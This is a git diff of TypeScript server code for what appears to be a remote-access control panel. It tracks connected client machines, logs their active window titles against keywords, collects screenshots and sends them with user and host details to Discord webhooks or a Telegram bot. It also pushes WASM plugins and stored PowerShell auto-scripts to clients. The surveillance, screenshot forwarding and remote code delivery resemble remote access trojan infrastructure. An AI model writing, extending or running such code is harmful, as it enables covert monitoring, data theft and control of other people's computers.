"Content-Security-Policy": "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com https://unpkg.com; style-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net https://fonts.googleapis.com; img-src 'self' data: blob: https://cdn.jsdelivr.net https://a.tile.openstreetmap.org https://b.tile.openstreetmap.org https://c.tile.openstreetmap.org https://tile.openstreetmap.org https://a.basemaps.cartocdn.com https://b.basemaps.cartocdn.com https://c.basemaps.cartocdn.com https://d.basemaps.cartocdn.com; font-src 'self' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net https://fonts.gstatic.com; connect-src 'self' wss: ws: https://cdn.jsdelivr.net",
|
||||
"X-Content-Type-Options": "nosniff",
|
||||
"X-Frame-Options": "DENY",
|
||||
"X-XSS-Protection": "1; mode=block",
|
||||
"Referrer-Policy": "strict-origin-when-cross-origin",
|
||||
};
|
||||
@@ -0,0 +1,27 @@
|
||||
import { SECURITY_HEADERS } from "./http-security";
|
||||
|
||||
export function secureHeaders(contentType?: string) {
|
||||
return {
|
||||
...SECURITY_HEADERS,
|
||||
...(contentType ? { "Content-Type": contentType } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
export function securePluginHeaders() {
|
||||
return {
|
||||
...SECURITY_HEADERS,
|
||||
"X-Frame-Options": "SAMEORIGIN",
|
||||
"Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
|
||||
};
|
||||
}
|
||||
|
||||
export function mimeType(path: string) {
|
||||
if (path.endsWith(".html")) return "text/html; charset=utf-8";
|
||||
if (path.endsWith(".css")) return "text/css; charset=utf-8";
|
||||
if (path.endsWith(".js")) return "text/javascript; charset=utf-8";
|
||||
if (path.endsWith(".json")) return "application/json";
|
||||
if (path.endsWith(".png")) return "image/png";
|
||||
if (path.endsWith(".jpg") || path.endsWith(".jpeg")) return "image/jpeg";
|
||||
if (path.endsWith(".webp")) return "image/webp";
|
||||
return "application/octet-stream";
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
import { logger } from "../logger";
|
||||
import { sendPingRequest } from "../wsHandlers";
|
||||
import type { ClientInfo } from "../types";
|
||||
import { pruneStaleClients } from "./stale-prune";
|
||||
|
||||
type StartMaintenanceParams = {
|
||||
getClients: () => Map<string, ClientInfo>;
|
||||
setOnlineState: (id: string, online: boolean) => void;
|
||||
deleteClient: (id: string) => void;
|
||||
staleMs: number;
|
||||
pruneBatch: number;
|
||||
heartbeatIntervalMs: number;
|
||||
disconnectTimeoutMs: number;
|
||||
};
|
||||
|
||||
export function startMaintenanceLoops(params: StartMaintenanceParams): void {
|
||||
setInterval(() => {
|
||||
pruneStaleClients({
|
||||
clients: params.getClients(),
|
||||
staleMs: params.staleMs,
|
||||
pruneBatch: params.pruneBatch,
|
||||
setOnlineState: params.setOnlineState,
|
||||
deleteClient: params.deleteClient,
|
||||
});
|
||||
}, 5000);
|
||||
|
||||
setInterval(() => {
|
||||
const now = Date.now();
|
||||
for (const [id, info] of params.getClients().entries()) {
|
||||
if (info.role !== "client") continue;
|
||||
if (
|
||||
info.lastPingNonce !== undefined &&
|
||||
info.lastPingSent &&
|
||||
now - info.lastPingSent > params.heartbeatIntervalMs + params.disconnectTimeoutMs
|
||||
) {
|
||||
logger.warn(`[ping] no pong from ${id} within timeout; closing socket`);
|
||||
try {
|
||||
info.ws.close(4001, "ping timeout");
|
||||
} catch (err) {
|
||||
logger.debug(`[ping] close failed for ${id}`, err);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
sendPingRequest(info, info.ws, "heartbeat");
|
||||
} catch (err) {
|
||||
logger.debug(`[ping] heartbeat failed for ${id}`, err);
|
||||
}
|
||||
}
|
||||
}, params.heartbeatIntervalMs);
|
||||
}
|
||||
@@ -0,0 +1,214 @@
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import {
|
||||
getNotificationScreenshot,
|
||||
saveNotificationScreenshot,
|
||||
type NotificationScreenshotRecord,
|
||||
} from "../db";
|
||||
import { logger } from "../logger";
|
||||
|
||||
export type NotificationRecord = {
|
||||
id: string;
|
||||
clientId: string;
|
||||
host?: string;
|
||||
user?: string;
|
||||
os?: string;
|
||||
title: string;
|
||||
process?: string;
|
||||
processPath?: string;
|
||||
pid?: number;
|
||||
keyword?: string;
|
||||
category: "active_window";
|
||||
ts: number;
|
||||
screenshotId?: string;
|
||||
};
|
||||
|
||||
export type PendingNotificationScreenshot = {
|
||||
notificationId: string;
|
||||
clientId: string;
|
||||
ts: number;
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
|
||||
const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
|
||||
const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
|
||||
|
||||
function getScreenshotMeta(format: string | undefined): { contentType: string; ext: string } {
|
||||
const normalized = (format || "jpeg").toLowerCase();
|
||||
if (normalized === "png") return { contentType: "image/png", ext: "png" };
|
||||
if (normalized === "webp") return { contentType: "image/webp", ext: "webp" };
|
||||
if (normalized === "jpg" || normalized === "jpeg") return { contentType: "image/jpeg", ext: "jpg" };
|
||||
return { contentType: "application/octet-stream", ext: "bin" };
|
||||
}
|
||||
|
||||
async function waitForNotificationScreenshot(
|
||||
notificationId: string,
|
||||
timeoutMs = NOTIFICATION_SCREENSHOT_WAIT_MS,
|
||||
): Promise<NotificationScreenshotRecord | null> {
|
||||
const start = Date.now();
|
||||
while (Date.now() - start < timeoutMs) {
|
||||
const screenshot = getNotificationScreenshot(notificationId);
|
||||
if (screenshot) return screenshot;
|
||||
await new Promise<void>((resolve) => setTimeout(resolve, NOTIFICATION_SCREENSHOT_POLL_MS));
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function takePendingNotificationScreenshot(
|
||||
pendingNotificationScreenshots: Map<string, PendingNotificationScreenshot>,
|
||||
clientId: string,
|
||||
): PendingNotificationScreenshot | null {
|
||||
for (const [commandId, pending] of pendingNotificationScreenshots.entries()) {
|
||||
if (pending.clientId !== clientId) continue;
|
||||
clearTimeout(pending.timeout);
|
||||
pendingNotificationScreenshots.delete(commandId);
|
||||
return pending;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function storeNotificationScreenshot(
|
||||
notificationHistory: NotificationRecord[],
|
||||
pending: PendingNotificationScreenshot,
|
||||
bytes: Uint8Array,
|
||||
format: string,
|
||||
width?: number,
|
||||
height?: number,
|
||||
): void {
|
||||
if (!bytes || bytes.length === 0) return;
|
||||
const screenshotId = uuidv4();
|
||||
|
||||
saveNotificationScreenshot({
|
||||
id: screenshotId,
|
||||
notificationId: pending.notificationId,
|
||||
clientId: pending.clientId,
|
||||
ts: pending.ts,
|
||||
format,
|
||||
width,
|
||||
height,
|
||||
bytes,
|
||||
});
|
||||
|
||||
const record = notificationHistory.find((item) => item.id === pending.notificationId);
|
||||
if (record) {
|
||||
record.screenshotId = screenshotId;
|
||||
}
|
||||
}
|
||||
|
||||
async function postNotificationWebhook(
|
||||
record: NotificationRecord,
|
||||
getNotificationConfig: () => any,
|
||||
screenshot?: NotificationScreenshotRecord | null,
|
||||
): Promise<void> {
|
||||
const config = getNotificationConfig();
|
||||
if (!config.webhookEnabled) return;
|
||||
const url = (config.webhookUrl || "").trim();
|
||||
if (!url) return;
|
||||
try {
|
||||
const parsed = new URL(url);
|
||||
if (!/^https?:$/.test(parsed.protocol)) {
|
||||
return;
|
||||
}
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const isDiscord = /discord(app)?\.com$/i.test(new URL(url).hostname);
|
||||
if (isDiscord) {
|
||||
const embed: Record<string, any> = {
|
||||
title: record.keyword ? `Keyword: ${record.keyword}` : "Active Window",
|
||||
description: record.title,
|
||||
fields: [
|
||||
{ name: "Client", value: record.clientId || "unknown", inline: true },
|
||||
{ name: "User", value: record.user || "unknown", inline: true },
|
||||
{ name: "Host", value: record.host || "unknown", inline: true },
|
||||
{ name: "Process", value: record.process || "unknown", inline: true },
|
||||
],
|
||||
timestamp: new Date(record.ts).toISOString(),
|
||||
};
|
||||
|
||||
const payload: Record<string, any> = {
|
||||
content: `🔔 Notification: ${record.title}`,
|
||||
embeds: [embed],
|
||||
};
|
||||
|
||||
if (screenshot?.bytes?.length) {
|
||||
const meta = getScreenshotMeta(screenshot.format);
|
||||
const filename = `notification-${record.id}.${meta.ext}`;
|
||||
embed.image = { url: `attachment://${filename}` };
|
||||
const form = new FormData();
|
||||
form.append("payload_json", JSON.stringify(payload));
|
||||
form.append(
|
||||
"files[0]",
|
||||
new Blob([screenshot.bytes as any], { type: meta.contentType }),
|
||||
filename,
|
||||
);
|
||||
await fetch(url, { method: "POST", body: form });
|
||||
return;
|
||||
}
|
||||
|
||||
await fetch(url, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(payload),
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const payload = { type: "notification", data: record };
|
||||
await fetch(url, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(payload),
|
||||
});
|
||||
} catch (err) {
|
||||
logger.warn("[notify] webhook delivery failed", err);
|
||||
}
|
||||
}
|
||||
|
||||
async function postTelegramNotification(
|
||||
record: NotificationRecord,
|
||||
getNotificationConfig: () => any,
|
||||
screenshot?: NotificationScreenshotRecord | null,
|
||||
): Promise<void> {
|
||||
const config = getNotificationConfig();
|
||||
if (!config.telegramEnabled) return;
|
||||
const token = (config.telegramBotToken || "").trim();
|
||||
const chatId = (config.telegramChatId || "").trim();
|
||||
if (!token || !chatId) return;
|
||||
|
||||
const text = `🔔 Notification\nTitle: ${record.title}\nKeyword: ${record.keyword || "-"}\nClient: ${record.clientId}\nUser: ${record.user || "unknown"}\nHost: ${record.host || "unknown"}\nProcess: ${record.process || "unknown"}`;
|
||||
try {
|
||||
if (screenshot?.bytes?.length) {
|
||||
const meta = getScreenshotMeta(screenshot.format);
|
||||
const filename = `notification-${record.id}.${meta.ext}`;
|
||||
const form = new FormData();
|
||||
form.append("chat_id", chatId);
|
||||
form.append("caption", text);
|
||||
form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename);
|
||||
const url = `https://api.telegram.org/bot${token}/sendPhoto`;
|
||||
await fetch(url, { method: "POST", body: form });
|
||||
return;
|
||||
}
|
||||
|
||||
const url = `https://api.telegram.org/bot${token}/sendMessage`;
|
||||
await fetch(url, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ chat_id: chatId, text }),
|
||||
});
|
||||
} catch (err) {
|
||||
logger.warn("[notify] telegram delivery failed", err);
|
||||
}
|
||||
}
|
||||
|
||||
export async function deliverNotificationWithScreenshot(
|
||||
record: NotificationRecord,
|
||||
getNotificationConfig: () => any,
|
||||
): Promise<void> {
|
||||
const screenshot = await waitForNotificationScreenshot(record.id);
|
||||
await Promise.allSettled([
|
||||
postNotificationWebhook(record, getNotificationConfig, screenshot),
|
||||
postTelegramNotification(record, getNotificationConfig, screenshot),
|
||||
]);
|
||||
}
|
||||
@@ -0,0 +1,237 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import AdmZip from "adm-zip";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import type { ClientInfo } from "../types";
|
||||
import { logger } from "../logger";
|
||||
import { encodeMessage, type PluginManifest } from "../protocol";
|
||||
|
||||
export type PluginState = {
|
||||
enabled: Record<string, boolean>;
|
||||
lastError: Record<string, string>;
|
||||
};
|
||||
|
||||
export async function loadPluginStateFromDisk(pluginStatePath: string): Promise<PluginState> {
|
||||
try {
|
||||
const raw = await fs.readFile(pluginStatePath, "utf-8");
|
||||
const parsed = JSON.parse(raw) as { enabled?: Record<string, boolean>; lastError?: Record<string, string> };
|
||||
return {
|
||||
enabled: parsed.enabled || {},
|
||||
lastError: parsed.lastError || {},
|
||||
};
|
||||
} catch {
|
||||
return { enabled: {}, lastError: {} };
|
||||
}
|
||||
}
|
||||
|
||||
export async function savePluginStateToDisk(
|
||||
pluginRoot: string,
|
||||
pluginStatePath: string,
|
||||
pluginState: PluginState,
|
||||
): Promise<void> {
|
||||
await fs.mkdir(pluginRoot, { recursive: true });
|
||||
await fs.writeFile(pluginStatePath, JSON.stringify(pluginState, null, 2));
|
||||
}
|
||||
|
||||
export async function ensurePluginExtracted(
|
||||
pluginRoot: string,
|
||||
pluginId: string,
|
||||
sanitizePluginId: (name: string) => string,
|
||||
): Promise<void> {
|
||||
const safeId = sanitizePluginId(pluginId);
|
||||
const zipPath = path.join(pluginRoot, `${safeId}.zip`);
|
||||
const pluginDir = path.join(pluginRoot, safeId);
|
||||
const manifestPath = path.join(pluginDir, "manifest.json");
|
||||
|
||||
let zipStat: any = null;
|
||||
try {
|
||||
zipStat = await fs.stat(zipPath);
|
||||
} catch {
|
||||
zipStat = null;
|
||||
}
|
||||
|
||||
let manifestStat: any = null;
|
||||
try {
|
||||
manifestStat = await fs.stat(manifestPath);
|
||||
} catch {
|
||||
manifestStat = null;
|
||||
}
|
||||
|
||||
if (!zipStat) {
|
||||
if (manifestStat) return;
|
||||
throw new Error(`Plugin bundle not found: ${safeId}`);
|
||||
}
|
||||
|
||||
if (manifestStat && manifestStat.mtimeMs >= zipStat.mtimeMs) {
|
||||
return;
|
||||
}
|
||||
|
||||
await fs.mkdir(pluginDir, { recursive: true });
|
||||
const assetsDir = path.join(pluginDir, "assets");
|
||||
await fs.mkdir(assetsDir, { recursive: true });
|
||||
|
||||
const zip = new AdmZip(zipPath);
|
||||
const entries = zip.getEntries();
|
||||
let wasmEntry: Buffer | null = null;
|
||||
let htmlEntry: Buffer | null = null;
|
||||
let cssEntry: Buffer | null = null;
|
||||
let jsEntry: Buffer | null = null;
|
||||
|
||||
for (const entry of entries) {
|
||||
if (entry.isDirectory) continue;
|
||||
const base = path.basename(entry.entryName);
|
||||
if (base.toLowerCase().endsWith(".wasm")) {
|
||||
wasmEntry = entry.getData();
|
||||
} else if (base.toLowerCase().endsWith(".html")) {
|
||||
htmlEntry = entry.getData();
|
||||
} else if (base.toLowerCase().endsWith(".css")) {
|
||||
cssEntry = entry.getData();
|
||||
} else if (base.toLowerCase().endsWith(".js")) {
|
||||
jsEntry = entry.getData();
|
||||
}
|
||||
}
|
||||
|
||||
if (!wasmEntry || !htmlEntry || !cssEntry || !jsEntry) {
|
||||
throw new Error(`Invalid plugin bundle: ${safeId} (missing required files)`);
|
||||
}
|
||||
|
||||
await fs.writeFile(path.join(pluginDir, `${safeId}.wasm`), wasmEntry);
|
||||
await fs.writeFile(path.join(assetsDir, `${safeId}.html`), htmlEntry);
|
||||
await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry);
|
||||
await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry);
|
||||
|
||||
const manifest: PluginManifest = {
|
||||
id: safeId,
|
||||
name: safeId,
|
||||
version: "1.0.0",
|
||||
binary: `${safeId}.wasm`,
|
||||
entry: `${safeId}.html`,
|
||||
assets: {
|
||||
html: `${safeId}.html`,
|
||||
css: `${safeId}.css`,
|
||||
js: `${safeId}.js`,
|
||||
},
|
||||
};
|
||||
await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2));
|
||||
}
|
||||
|
||||
export async function syncPluginBundles(
|
||||
pluginRoot: string,
|
||||
ensureExtracted: (pluginId: string) => Promise<void>,
|
||||
): Promise<void> {
|
||||
await fs.mkdir(pluginRoot, { recursive: true });
|
||||
const entries = await fs.readdir(pluginRoot, { withFileTypes: true });
|
||||
for (const ent of entries) {
|
||||
if (ent.isFile() && ent.name.toLowerCase().endsWith(".zip")) {
|
||||
const pluginId = ent.name.slice(0, -4);
|
||||
try {
|
||||
await ensureExtracted(pluginId);
|
||||
} catch (err) {
|
||||
logger.warn(`[plugin] failed to extract ${pluginId}: ${(err as Error).message}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export async function listPluginManifests(
|
||||
pluginRoot: string,
|
||||
pluginState: PluginState,
|
||||
saveState: () => Promise<void>,
|
||||
ensureExtracted: (pluginId: string) => Promise<void>,
|
||||
): Promise<PluginManifest[]> {
|
||||
try {
|
||||
await syncPluginBundles(pluginRoot, ensureExtracted);
|
||||
const entries = await fs.readdir(pluginRoot, { withFileTypes: true });
|
||||
const manifests: PluginManifest[] = [];
|
||||
for (const ent of entries) {
|
||||
if (!ent.isDirectory()) continue;
|
||||
const manifestPath = path.join(pluginRoot, ent.name, "manifest.json");
|
||||
try {
|
||||
const raw = await fs.readFile(manifestPath, "utf-8");
|
||||
const manifest = JSON.parse(raw) as PluginManifest;
|
||||
const id = manifest.id || ent.name;
|
||||
const name = manifest.name || ent.name;
|
||||
if (pluginState.enabled[id] === undefined) {
|
||||
pluginState.enabled[id] = true;
|
||||
}
|
||||
manifests.push({ ...manifest, id, name });
|
||||
} catch {}
|
||||
}
|
||||
await saveState();
|
||||
return manifests;
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
export async function loadPluginBundle(
|
||||
pluginRoot: string,
|
||||
pluginId: string,
|
||||
ensureExtracted: (pluginId: string) => Promise<void>,
|
||||
): Promise<{ manifest: PluginManifest; wasm: Uint8Array }> {
|
||||
await ensureExtracted(pluginId);
|
||||
const dir = path.join(pluginRoot, pluginId);
|
||||
const manifestPath = path.join(dir, "manifest.json");
|
||||
const rawManifest = await fs.readFile(manifestPath, "utf-8");
|
||||
const manifest = JSON.parse(rawManifest) as PluginManifest;
|
||||
manifest.id = manifest.id || pluginId;
|
||||
manifest.name = manifest.name || pluginId;
|
||||
|
||||
const binaryName = manifest.binary || manifest.entry || `${pluginId}.wasm`;
|
||||
let wasmPath = path.join(dir, binaryName);
|
||||
try {
|
||||
await fs.access(wasmPath);
|
||||
} catch {
|
||||
const files = await fs.readdir(dir);
|
||||
const firstWasm = files.find((f) => f.toLowerCase().endsWith(".wasm"));
|
||||
if (!firstWasm) throw new Error("No .wasm found for plugin " + pluginId);
|
||||
wasmPath = path.join(dir, firstWasm);
|
||||
}
|
||||
const wasm = new Uint8Array(await fs.readFile(wasmPath));
|
||||
return { manifest, wasm };
|
||||
}
|
||||
|
||||
export function sendPluginBundle(
|
||||
target: ClientInfo,
|
||||
bundle: { manifest: PluginManifest; wasm: Uint8Array },
|
||||
): void {
|
||||
const chunkSize = 16 * 1024;
|
||||
const wasm = bundle.wasm;
|
||||
const totalChunks = Math.ceil(wasm.length / chunkSize);
|
||||
const initPayload = {
|
||||
manifest: bundle.manifest,
|
||||
size: wasm.length,
|
||||
chunks: totalChunks,
|
||||
};
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "plugin_load_init",
|
||||
id: uuidv4(),
|
||||
payload: initPayload,
|
||||
}),
|
||||
);
|
||||
|
||||
for (let i = 0; i < totalChunks; i++) {
|
||||
const start = i * chunkSize;
|
||||
const end = Math.min(start + chunkSize, wasm.length);
|
||||
const chunk = wasm.slice(start, end);
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "plugin_load_chunk",
|
||||
id: uuidv4(),
|
||||
payload: { pluginId: bundle.manifest.id, index: i, data: chunk },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "plugin_load_finish",
|
||||
id: uuidv4(),
|
||||
payload: { pluginId: bundle.manifest.id },
|
||||
}),
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
import path from "path";
|
||||
|
||||
export function sanitizePluginId(name: string): string {
|
||||
const cleaned = path.basename(name).replace(/[^A-Za-z0-9._-]/g, "");
|
||||
if (!cleaned) {
|
||||
throw new Error("Invalid plugin id");
|
||||
}
|
||||
return cleaned;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
import path from "path";
|
||||
|
||||
type AssetsRouteDeps = {
|
||||
PUBLIC_ROOT: string;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
mimeType: (path: string) => string;
|
||||
};
|
||||
|
||||
export async function handleAssetsRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: AssetsRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!(req.method === "GET" && url.pathname.startsWith("/assets/"))) {
|
||||
return null;
|
||||
}
|
||||
|
||||
let decodedPath = url.pathname;
|
||||
try {
|
||||
decodedPath = decodeURIComponent(url.pathname);
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
if (decodedPath.includes("\u0000")) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const assetsRoot = path.join(deps.PUBLIC_ROOT, "assets");
|
||||
const relativePath = decodedPath.replace(/^\/assets\//, "");
|
||||
const resolvedPath = path.resolve(assetsRoot, relativePath);
|
||||
const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`;
|
||||
|
||||
if (!resolvedPath.startsWith(rootWithSep)) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const file = Bun.file(resolvedPath);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(url.pathname)) });
|
||||
}
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
import {
|
||||
authenticateRequest,
|
||||
authenticateUser,
|
||||
extractTokenFromRequest,
|
||||
generateToken,
|
||||
getUserFromRequest,
|
||||
revokeToken,
|
||||
} from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import { logger } from "../../logger";
|
||||
import {
|
||||
isRateLimited,
|
||||
recordFailedAttempt,
|
||||
recordSuccessfulAttempt,
|
||||
} from "../../rateLimit";
|
||||
import { getUserById } from "../../users";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
export async function handleAuthRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "POST" && url.pathname === "/api/login") {
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
|
||||
const rateLimitCheck = isRateLimited(ip);
|
||||
if (rateLimitCheck.limited) {
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "unknown",
|
||||
ip,
|
||||
action: AuditAction.LOGIN_FAILED,
|
||||
success: false,
|
||||
errorMessage: "Rate limited",
|
||||
});
|
||||
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
ok: false,
|
||||
error: `Too many failed attempts. Please try again in ${rateLimitCheck.retryAfter} seconds.`,
|
||||
}),
|
||||
{
|
||||
status: 429,
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Retry-After": String(rateLimitCheck.retryAfter),
|
||||
},
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
try {
|
||||
const body = await req.json();
|
||||
const username = body?.user || "";
|
||||
const password = body?.pass || "";
|
||||
|
||||
const user = await authenticateUser(username, password);
|
||||
|
||||
if (user) {
|
||||
const token = await generateToken(user);
|
||||
|
||||
logger.info(
|
||||
`[auth] User ${user.username} logged in. must_change_password =`,
|
||||
user.must_change_password,
|
||||
`(type: ${typeof user.must_change_password})`,
|
||||
);
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.LOGIN,
|
||||
success: true,
|
||||
});
|
||||
|
||||
recordSuccessfulAttempt(ip);
|
||||
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
ok: true,
|
||||
token,
|
||||
user: {
|
||||
username: user.username,
|
||||
role: user.role,
|
||||
id: user.id,
|
||||
mustChangePassword: Boolean(user.must_change_password),
|
||||
},
|
||||
}),
|
||||
{
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Set-Cookie": `overlord_token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`,
|
||||
},
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
recordFailedAttempt(ip);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username,
|
||||
ip,
|
||||
action: AuditAction.LOGIN_FAILED,
|
||||
success: false,
|
||||
errorMessage: "Invalid credentials",
|
||||
});
|
||||
} catch (error) {
|
||||
logger.error("[auth] Login error:", error);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "unknown",
|
||||
ip,
|
||||
action: AuditAction.LOGIN_FAILED,
|
||||
success: false,
|
||||
errorMessage: String(error),
|
||||
});
|
||||
}
|
||||
|
||||
return new Response(JSON.stringify({ ok: false, error: "Invalid credentials" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/logout") {
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
const user = await getUserFromRequest(req);
|
||||
const token = extractTokenFromRequest(req);
|
||||
|
||||
if (token) {
|
||||
revokeToken(token);
|
||||
}
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user?.username || "unknown",
|
||||
ip,
|
||||
action: AuditAction.LOGOUT,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return new Response(JSON.stringify({ ok: true }), {
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Set-Cookie": `overlord_token=; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=0`,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/auth/me") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
const dbUser = getUserById(user.userId);
|
||||
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
username: user.username,
|
||||
role: user.role,
|
||||
userId: user.userId,
|
||||
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
|
||||
}),
|
||||
{
|
||||
headers: { "Content-Type": "application/json" },
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import {
|
||||
createAutoScript,
|
||||
deleteAutoScript,
|
||||
listAutoScripts,
|
||||
type AutoScriptTrigger,
|
||||
updateAutoScript,
|
||||
} from "../../db";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { AUTO_SCRIPT_TRIGGERS, ALLOWED_SCRIPT_TYPES } from "../validation-constants";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
|
||||
export async function handleAutoScriptsRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "GET" && url.pathname === "/api/auto-scripts") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
return Response.json({ items: listAutoScripts() });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/auto-scripts") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const name = String(body?.name || "").trim();
|
||||
const triggerRaw = String(body?.trigger || "").trim() as AutoScriptTrigger;
|
||||
const script = String(body?.script || "");
|
||||
const scriptTypeRaw = String(body?.scriptType || "powershell").trim();
|
||||
const enabled = typeof body?.enabled === "boolean" ? body.enabled : true;
|
||||
|
||||
if (!name) {
|
||||
return Response.json({ error: "Name is required" }, { status: 400 });
|
||||
}
|
||||
if (!script.trim()) {
|
||||
return Response.json({ error: "Script is required" }, { status: 400 });
|
||||
}
|
||||
if (!AUTO_SCRIPT_TRIGGERS.has(triggerRaw)) {
|
||||
return Response.json({ error: "Invalid trigger" }, { status: 400 });
|
||||
}
|
||||
|
||||
const scriptType = ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
|
||||
? scriptTypeRaw
|
||||
: "powershell";
|
||||
|
||||
const item = createAutoScript({
|
||||
id: uuidv4(),
|
||||
name,
|
||||
trigger: triggerRaw,
|
||||
script,
|
||||
scriptType,
|
||||
enabled,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, item });
|
||||
}
|
||||
|
||||
const autoScriptMatch = url.pathname.match(/^\/api\/auto-scripts\/(.+)$/);
|
||||
if (autoScriptMatch && req.method === "PUT") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
